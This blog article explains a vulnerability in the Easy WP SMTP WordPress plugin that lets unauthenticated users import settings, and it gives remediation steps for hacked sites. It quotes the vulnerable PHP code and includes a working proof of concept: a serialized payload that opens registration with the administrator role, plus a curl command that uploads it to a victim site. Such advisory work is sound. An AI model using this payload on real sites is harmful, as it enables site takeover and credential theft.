by Atman Rathod

How to remove WordPress redirects by hackers — a look at the Easy WP SMTP plugin vulnerability

I believe you would be offended if you found your website redirecting to a spam website, wouldn’t you? Alas! And you would even feel more snubbed if you had taken every preventive measure for your WordPress website. True? In this digital world, 30,000 websites are hacked daily and today might be your day. Thus, it becomes imperative to find a solution for the day of the attack.

To start with, you need to identify how the attacker was able to insert malicious code so that the website redirects to a phishing or malware website and grabs the traffic. Recently, when we faced the same issue we found that the hacker got access through the WP SMTP plugin.

The well-known Easy WP SMTP plugin that has 300k monthly active installations is prone to a zero-day vulnerability. It has given rights to an unknown user to access and modify the WordPress settings.

“Almost 30% of online websites are developed in WordPress, making it the best content management system. However, if we look at the popularity shadow then it becomes the first choice for hackers.”

The Easy WP SMTP plugin is gaining popularity due to the zero-day (0-day) vulnerability unveiled recently. The plugin that has high download numbers has an even higher attack success rate. Prior to learning the solution, let’s learn about this plugin in detail.

Easy WP SMTP Plugin Zero-Day Vulnerability

Easy WP SMTP came into existence to make the email sending process easy from your WordPress website. It was successful even with its purpose of sending mail through SMTP instead of native wp_mail() function.

Like other WordPress plugins, the Easy WP SMTP plugin has its administration page which enables you to specify data required for SMTP configuration. Along with this, there is a function to import and export settings, and that’s where the hacker can easily get in.

Other than this, there are several more attack vectors that lead the attacker to the administrator level or to a sensitive data leak like SMTP credentials.

Consider the following code:

add_action( 'admin_init', array( $this, 'admin_init' ) );......function admin_init() { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {   add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );   add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) ); }
//view log file if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {     if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {  $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];  if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {      if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {   wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );      };  }  $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );  if ( ! $logfile ) {      wp_die( 'Can\'t open log file.' );  }  header( 'Content-Type: text/plain' );  fpassthru( $logfile );  die;     } }
//check if this is export settings request $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT ); if ( $is_export_settings ) {     $data      = array();     $opts      = get_option( 'swpsmtp_options', array() );     $data[ 'swpsmtp_options' ]   = $opts;     $swpsmtp_pass_encrypted    = get_option( 'swpsmtp_pass_encrypted', false );     $data[ 'swpsmtp_pass_encrypted' ]  = $swpsmtp_pass_encrypted;     if ( $swpsmtp_pass_encrypted ) {  $swpsmtp_enc_key   = get_option( 'swpsmtp_enc_key', false );  $data[ 'swpsmtp_enc_key' ]  = $swpsmtp_enc_key;     }     $smtp_test_mail    = get_option( 'smtp_test_mail', array() );     $data[ 'smtp_test_mail' ]  = $smtp_test_mail;     $out     = array();     $out[ 'data' ]    = serialize( $data );     $out[ 'ver' ]    = 1;     $out[ 'checksum' ]   = md5( $out[ 'data' ] );
$filename = 'easy_wp_smtp_settings.txt';     header( 'Content-Disposition: attachment; filename="' . $filename . '"' );     header( 'Content-Type: text/plain' );     echo serialize( $out );     exit; }
$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT ); if ( $is_import_settings ) {   $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );   if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {   echo $err_msg;   wp_die();  }  $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );  try {   $in = unserialize( $in_raw );   if ( empty( $in[ 'data' ] ) ) {     echo $err_msg;     wp_die();   }   if ( empty( $in[ 'checksum' ] ) ) {     echo $err_msg;     wp_die();   }   if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {     echo $err_msg;     wp_die();   }   $data = unserialize( $in[ 'data' ] );   foreach ( $data as $key => $value ) {     update_option( $key, $value );   }   set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );   $url = admin_url() . 'options-general.php?page=swpsmtp_settings';   wp_safe_redirect( $url );   exit;  } catch ( Exception $ex ) {   echo $err_msg;   wp_die();  } }}

When the user wants to enter the admin area, the function admin_init() in the script easy-wp-smtp.php is called via the admin_init hook. This helps the admin to edit each and every function, from adding or deleting the log to importing or exporting the plugin configuration in the WordPress database.

When you call the function it does not check the user capability and therefore any logged-in user can trigger it. The limitation here is that it can be implemented by any unauthenticated users, as the Easy WP SMTP is built using AJAX and admin_init hook can also be implemented on admin-ajax.php as described in the WordPress API docs.

So now an unauthenticated user can easily send an AJAX request, for example action=swpsmtp_clear_log, to call the above function and run the code.

Therefore, to safeguard your website, we recommend that you always update the Easy WP SMTP plugin to the latest version available.

Note The Proof Of Concept

The following two-step proof of concept allows you to create a user ID where you can get access to admin and make the changes to remove the malware code. In short, it allows you to take complete control over the website.

Here, you need to use swpsmtp_import_settings in order to upload a file that has a malicious serialized payload. This file helps the user register and set the default role to “administrator” in the database.

1. Create a file with name “/tmp/upload.txt” and add this content to it:

a:2:{s:4:”data”;s:81:”a:2:{s:18:”users_can_register”;s:1:”1";s:12:”default_role”;s:13:”administrator”;}”;s:8:”checksum”;s:32:”3ce5fb6d7b1dbd6252f4b5b3526650c8";}

2. Upload the file:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F ‘action=swpsmtp_clear_log’ -F ‘swpsmtp_import_settings=1’ -F ‘[email protected]/tmp/upload.txt’

Other details you need to pay attention to:

  • Take care of Remote Code Execution via PHP Object Injection, as Easy WP SMTP runs using unsafe unserialize() calls.
  • Mark on different logs as the hacker can change the log filename.
  • By exporting the plugin configuration that includes SMTP host, username, and password, the hacker can use it to send spam emails.

Steps To Remove Malware WordPress Redirects

  • Change passwords and check registered users
  • Find and remove the unwanted plugins and themes from the website
  • Check the website completely with appropriate tools
  • Find the right WordPress plugin to scan your website files
  • Thoroughly check all the impacted files
  • Reinstall your WordPress files, plugins, and themes
  • Resubmit the website to Google

Other Important Recommendations

If you are using the old version of Easy WP SMTP plugin, check the following things:

  • Check the Settings Page and ensure nothing is flawed from URL to User default role.
  • Check for new Admin accounts, email addresses and more.
  • Change all passwords
  • Change your SMTP password too, as the hackers may now have the password.
  • Install a web application firewall for better security.
  • Ensure you don’t install plugins or themes that are not known
  • Update all your themes and plugins monthly
  • Make sure the installation of WordPress is regularly backed up
  • If required, change the web host to one that has better WordPress security.